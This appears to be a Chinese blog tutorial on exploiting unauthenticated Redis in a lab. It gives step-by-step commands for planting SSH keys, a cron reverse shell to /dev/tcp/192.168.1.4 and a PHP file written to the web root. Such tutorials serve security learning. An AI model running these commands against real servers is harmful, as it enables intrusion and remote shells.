Redis未授权访问漏洞详解

环境搭建

环境:centos7 gcc

1:下载安装包
wget http://download.redis.io/releases/redis-3.2.6.tar.gz

2:解压安装包到指定文件
tar zxvf redis-3.2.6.tar.gz -C /usr/local

3:cd /usr/local/redis-3.2.6

4:make 进行编译

5:cd src && make install

6:export PATH=$PATH: /usr/local/redis-3.2.6/src 添加环境变量

7:cd … &&vim redis.conf 修改protected-mode no使之可远程登录,修改daemonize yes使之可后台运行,注释bind 127.0.0.1使之可远程登录

8:redis-server /usr/local/redis-3.2.6/redis.conf 启动redis,注意要指定配置文件
9: redis-cli -h 127.0.0.1 -p 6379 shutdown 关闭redis
以上为默认配置,redis端口为6379,没有密码,导致未授权访问

root用户启动利用

1.ssh 密钥登录

1. ssh-keygen -t rsa
2. (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_key
3. cat auth_key | redis-cli -h hostname -x set crackit
4. redis-cli -h hostname
5. config set dir /root/.ssh/  
这里设置目录时,可能存在(error) ERR Changing directory: No such file or directory
这是因为root从来没有登录过,在被攻击机执行ssh localhost 即可
(error) ERR Changing directory: Permission denied
说明redis并不是以root启动的
6. config set dbfilename "authorized_keys"
7. save

退出redis
8. ssh -i id_rsa root@redis_server 即可登录成功

2.计划任务反弹shell

1. redis-cli -h 192.168.1.8
2. set test "\n* * * * * bash -i >& /dev/tcp/192.168.1.4/4444 0>&1\n" 
3. config set dir /var/spool/cron
4. config  set dbfilename "root"
5. save

192.168.1.4 开启监听
6. nc -l 4444

普通用户启动利用

1.ssh 密钥登录

1. ssh-keygen -t rsa
2. (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_key
3. cat auth_key | redis-cli -h hostname -x set crackit
4. redis-cli -h hostname
5. config set dir /home/user/.ssh/  
这里设置目录时,可能存在(error) ERR Changing directory: No such file or directory
这是因为user从来没有登录过,需要自己创建
6. config set dbfilename "authorized_keys"
7. save

退出redis
8. ssh -i id_rsa user@redis_server
这里直接免密登录可能仍会提示要求输入密码,查看被攻击机的ssh连接日志/var/log/secure
Authentication refused: bad ownership or modes for directory /home/sojrs
即被连接用户的目录权限存在问题,需要手工设置
原因:
sshd为了安全,对属主的目录和文件权限有所要求。如果权限不对,则ssh的免密码登陆不生效。
用户目录权限为 755 或者 700,就是不能是77x,创建者必须为user。
.ssh目录权限一般为755或者700。
rsa_id.pub 及authorized_keys权限一般为644
rsa_id权限必须为600
总的来说,如果是非root用户启动,比较鸡肋,需要普通用户事先配置好免密登录的各项目录及权限,否则很容易失败

2.计划任务反弹shell

1. redis-cli -h 192.168.1.8
2. set test "\n* * * * * bash -i >& /dev/tcp/192.168.1.4/4444 0>&1\n" 
3. config set dir /var/spool/cron
(error) ERR Changing directory: Permission denied
查看/var/spool/cron 目录权限为700,且为root创建
即使该普通用户具有sudo权限也不行

5. config  set dbfilename "root"
6. save
无法利用

Web服务写马

1. config set  dir /var/www/html/
2. config set  dbfilename shell.php
3.  set  cmd "<?php phpinfo(); ?>"
4. save

web服务写马需要知道web的安装路径
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章